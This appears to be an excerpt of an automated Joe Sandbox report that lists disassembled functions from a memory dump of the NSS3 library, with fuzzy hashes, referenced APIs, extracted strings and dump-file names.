Opcode Fuzzy Hash: 8286ba93b060f0797e5aaa9709bebeb102b51a47fe6cff5740a2a40823797c96
Instruction Fuzzy Hash: 89717F716042409BDB24CF28D895AABBBF5FF89318F14CA29F94997701D730A985CBC1

Function 6C7CED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6C7CEE3D

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: 9127789fb1516fa174b0858e974cf77ea96dade85fc2697538dc131452c94842
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: 6E71D372F0170A8FE718CF59CA8166AB7F2BF88304F15862DD85697B91D770E940CB92

Function 6C704DB0 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6C705125

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID:
String ID: winUnlockReadLock
API String ID: 0-4244601998
Opcode ID: a137f98c5cbe8beeb1e42170f17fe615672b4328f76c41dbe1d064d65fc2389e
Instruction ID: 31419b0a65a6b9e9e4f61bd551f0552f04fe27ee1a3f85a521c56877684d9f57
Opcode Fuzzy Hash: a137f98c5cbe8beeb1e42170f17fe615672b4328f76c41dbe1d064d65fc2389e
Instruction Fuzzy Hash: AEE14DB0A183408FDB54DF28D585A5ABBF0FF89308F15862DF89997351E730A985CBC2

Function 6C7246D0 Relevance: 1.0, Instructions: 958COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8fe1788dfdfcc05cd98ce3f9bd86817eb1c27f9a7d4bfccf69424fd963ebae6e
Instruction ID: bacf182fb2024699114d2b498b9a5531b8015de337693d7bf5c24a78f39b89d2
Opcode Fuzzy Hash: 8fe1788dfdfcc05cd98ce3f9bd86817eb1c27f9a7d4bfccf69424fd963ebae6e
Instruction Fuzzy Hash: BC92B274A00205CFCB15CF58C590AAABBF2FF89308F2982ADC9556B756D735ED42CB90

Function 6C78E5F0 Relevance: .4, Instructions: 383COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: CriticalEnterExitMonitorSectionUnlockValue
String ID:
API String ID: 344640607-0
Opcode ID: 65235b26812c157202067b15c3fc4b7c1ae77b62d513783ce6b2f6431e535716
Instruction ID: 4acd679ece530c0852919a378971c85f6ade2685318f0b72c26b4e72ba898339
Opcode Fuzzy Hash: 65235b26812c157202067b15c3fc4b7c1ae77b62d513783ce6b2f6431e535716
Instruction Fuzzy Hash: 55D1F0B9D026189BEB009F61EA487EE77B5BF4531CF040138E91967B40E735E819CBE2

Function 6C6F45B0 Relevance: .4, Instructions: 362COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f4f8de5f74d473ad7a31c791aef8ff51a5719d150d62ef3c126f38064018ac6
Instruction ID: 5e0a6dda3d5e5906eff39295d772190a393dd9aedfdd95a266d36d1020f63da9
Opcode Fuzzy Hash: 7f4f8de5f74d473ad7a31c791aef8ff51a5719d150d62ef3c126f38064018ac6
Instruction Fuzzy Hash: 54D1D172B042168BCB0CCF68CA901BEB7F2BF98314719856ED455ABB91D775DA03CB84

Function 6C78A430 Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14be7c52fef837614841b3e3570436e3f37af2e0f61efce650543a4246ab0887
Instruction ID: 2ca3974b3e34072ab5a424f11e829916fd6f492046145332a9ab75d559455fe1
Opcode Fuzzy Hash: 14be7c52fef837614841b3e3570436e3f37af2e0f61efce650543a4246ab0887
Instruction Fuzzy Hash: 9381A070A022058FDB18CF19D684BAABBE4FF48318F15817DE91A9B7D4DB34D981CB90

Function 6C768EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c235c778469c908188888b6195c34337e534f883589db312a2180aad853b8966
Instruction ID: 85772269306ed6f060212d7909bf1a2573831f66db85f77dbef2c698e1f87e9b
Opcode Fuzzy Hash: c235c778469c908188888b6195c34337e534f883589db312a2180aad853b8966
Instruction Fuzzy Hash: 1E119D32A002158BD714CF26D988B9AB3A9BF8231CF08427AD8158FE42C775E886C7C1

Function 6C840C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 005207e60937fb1fe5598cd68a2eef584fadeafff031d01e445dbadd68acbd89
Instruction ID: 387ae1043f323600d9da068388c65629caa9d269208999414f307bb6321cdd60
Opcode Fuzzy Hash: 005207e60937fb1fe5598cd68a2eef584fadeafff031d01e445dbadd68acbd89
Instruction Fuzzy Hash: 3911BC75604249CFCB20DF28C88066B77A2FF95368F14C879D8298B701DB71E806CBA1

Function 6C7B44C0 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2fa1a5ecec8fcb8e64a7be1615e61de5919e18eda902c0e4a6e59d94f431299
Instruction ID: 39ca63588547bf83a0ca84c1a091f31b4ea18828c73958d91ef2812797ed1991
Opcode Fuzzy Hash: d2fa1a5ecec8fcb8e64a7be1615e61de5919e18eda902c0e4a6e59d94f431299
Instruction Fuzzy Hash: CA11F7B6A002199F8B10CF99D9859EFBBF9EF8C664B554429ED19A7300D230ED108BE0

Function 6C7B4440 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b23cf7539c2a3dd4c42b3c9c81277a97aafa4af01b76294475e6dca98f3a1ef
Instruction ID: fbdd526616e8b31d53ef3040126b8db819229833ebaa37cda819c1d295090dfe
Opcode Fuzzy Hash: 2b23cf7539c2a3dd4c42b3c9c81277a97aafa4af01b76294475e6dca98f3a1ef
Instruction Fuzzy Hash: B9110975A002199F8B00CF59C9849EFB7F8EF4C214B16416AED18E7301D630ED10CBE1

Function 6C840D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: 6812d79cce13ec76fe969c216d480c7c03adb4f4b1463c078b562b479e08346e
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: 80E06D3A202058A7DB248E49C550BAA7359DF9161AFA4C979CC599BA01D733F8078B81

Function 6C798670 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Util$K11_$Alloc_ArenaArena_DoesFindMechanismTag_
String ID:
API String ID: 2003479236-0
Opcode ID: 23e773cf1430b448038cb5704f69fb380029e02cc391f3ea17a25ad626348aa6
Instruction ID: db465728d6807136976c3a1544c7ccf42fb159b682ff93d509e1549f5517c865
Opcode Fuzzy Hash: 23e773cf1430b448038cb5704f69fb380029e02cc391f3ea17a25ad626348aa6
Instruction Fuzzy Hash: 0DE0B6B0C08B489BD708DF6AD54506AFBE4AFD8214F00D91DFC9C87212E730A5D48B82

Function 6C76CC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1780fd669f180d2d3ff48b230971e0e9ac02db7fbbfc2f500286e3bed2dedb2c
Instruction ID: 9ad117ff6351e41c3ec7abf1d939d8cc17f8e97802fb2e5db7c2c8b76a7430b9
Opcode Fuzzy Hash: 1780fd669f180d2d3ff48b230971e0e9ac02db7fbbfc2f500286e3bed2dedb2c
Instruction Fuzzy Hash: C2C04838244608CFC744DB08E489DA43BA8AB8961070440A4EA028B722DA21FC00CA80

Function 6C776740 Relevance: 45.6, APIs: 14, Strings: 12, Instructions: 122COMMON

Download Yara Rule

APIs

PL_strcasecmp.NSS3(?,other), ref: 6C77674D
PL_strcasecmp.NSS3(?,email), ref: 6C776763
PL_strcasecmp.NSS3(?,rfc822), ref: 6C776779
PL_strcasecmp.NSS3(?,dns), ref: 6C77678F
PL_strcasecmp.NSS3(?,x400), ref: 6C7767A5
PL_strcasecmp.NSS3(?,x400addr), ref: 6C7767BB
PL_strcasecmp.NSS3(?,directory), ref: 6C7767D1
PL_strcasecmp.NSS3(?,6C8AC3B1), ref: 6C7767E7
PL_strcasecmp.NSS3(?,edi), ref: 6C7767FD
PL_strcasecmp.NSS3(?,ediparty), ref: 6C776813
PL_strcasecmp.NSS3(?,uri), ref: 6C776829
PL_strcasecmp.NSS3(?,6C8AB3F4), ref: 6C77683F
PL_strcasecmp.NSS3(?,ipaddr), ref: 6C776851
PL_strcasecmp.NSS3(?,registerid), ref: 6C776863

Strings

directory, xrefs: 6C7767CB
ediparty, xrefs: 6C77680D
other, xrefs: 6C776747
email, xrefs: 6C77675D
registerid, xrefs: 6C77685D
x400, xrefs: 6C77679F
dns, xrefs: 6C776789
uri, xrefs: 6C776823
x400addr, xrefs: 6C7767B5
edi, xrefs: 6C7767F7
ipaddr, xrefs: 6C77684B
rfc822, xrefs: 6C776773

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: L_strcasecmp
String ID: directory$dns$edi$ediparty$email$ipaddr$other$registerid$rfc822$uri$x400$x400addr
API String ID: 4194642261-1102114343
Opcode ID: 71852034ae6ec728a8836e87d095545c5a27f1b37682c46cc394318dbd59a063
Instruction ID: d21ea9ff6e5a355576216cf8d39bb57f912f15c1aafa97c3302406148f553514
Opcode Fuzzy Hash: 71852034ae6ec728a8836e87d095545c5a27f1b37682c46cc394318dbd59a063
Instruction Fuzzy Hash: DF315205A0132962EE3012AB6F05B9A21694B1224FF042C76FC48E5F89FF45D72E95F6

Function 6C846E50 Relevance: 42.2, APIs: 19, Strings: 5, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6FCA30: EnterCriticalSection.KERNEL32(?,?,?,6C75F9C9,?,6C75F4DA,6C75F9C9,?,?,6C72369A), ref: 6C6FCA7A
Part of subcall function 6C6FCA30: LeaveCriticalSection.KERNEL32(?), ref: 6C6FCB26

memset.VCRUNTIME140(00000000,00000000,?,?,6C70BE66), ref: 6C846E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6C70BE66), ref: 6C846E98
sqlite3_snprintf.NSS3(?,00000000,6C8AAAF9,?,?,?,?,?,?,6C70BE66), ref: 6C846EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6C70BE66), ref: 6C846ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6C70BE66), ref: 6C846EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6C70BE66), ref: 6C846F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6C70BE66), ref: 6C846F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6C70BE66), ref: 6C846F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6C70BE66), ref: 6C846FA6
sqlite3_snprintf.NSS3(?,00000000,6C8AAAF9,00000000,?,?,?,?,?,?,?,6C70BE66), ref: 6C846FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6C70BE66), ref: 6C846FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C70BE66), ref: 6C846FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C70BE66), ref: 6C847014
sqlite3_free.NSS3(00000000,?,?,?,?,6C70BE66), ref: 6C84701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6C70BE66), ref: 6C847030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6C70BE66), ref: 6C84705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6C70BE66), ref: 6C847079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C70BE66), ref: 6C847097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6C70BE66), ref: 6C8470A0

Strings

winGetTempname4, xrefs: 6C847046
winGetTempname5, xrefs: 6C847071
mz_etilqs_, xrefs: 6C846F18
winGetTempname2, xrefs: 6C8470C4
winGetTempname1, xrefs: 6C84708F

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-707647140
Opcode ID: 8f4499dce5b591d702f2e72f99bd5fedf84d1de7e0a8394cd764b751ccbec3cd
Instruction ID: 18c66c3d647a5eeef0539f475df49e1801979c91936bd5bece78f5c7724e553b
Opcode Fuzzy Hash: 8f4499dce5b591d702f2e72f99bd5fedf84d1de7e0a8394cd764b751ccbec3cd
Instruction Fuzzy Hash: D8517BB1A0111567E33097349E55FBB36568F9230CF148D38E81696FC2FB25A50FC2D6

Function 6C7D4FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7875C2,00000000,00000000,00000001), ref: 6C7D5009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7875C2,00000000), ref: 6C7D5049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C7D505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6C7D5071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7D5089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7D50A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C7D50B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7875C2), ref: 6C7D50CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C7D50D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C7D50F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7D5103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7D511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7D512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7D5145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7D5153
free.MOZGLUE(?), ref: 6C7D516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C7D517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C7D5195

Strings

library=, xrefs: 6C7D5043
config=, xrefs: 6C7D509B
nss=, xrefs: 6C7D5083
parameters=, xrefs: 6C7D506B
name=, xrefs: 6C7D5057

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: 39b4f7ddbb139041d975b7a65f757b0ea5a595f64629a3c7a8b1f2fa11860544
Instruction ID: e7c99b9cd1d05e2838c6d38c3227aefae915a288abc9750f81d43dddb011b1a0
Opcode Fuzzy Hash: 39b4f7ddbb139041d975b7a65f757b0ea5a595f64629a3c7a8b1f2fa11860544
Instruction Fuzzy Hash: BD51D7F1A012166BEB50DF24EE45AAA37B8DF06248F190430EC59E7741EB26F915C7F2

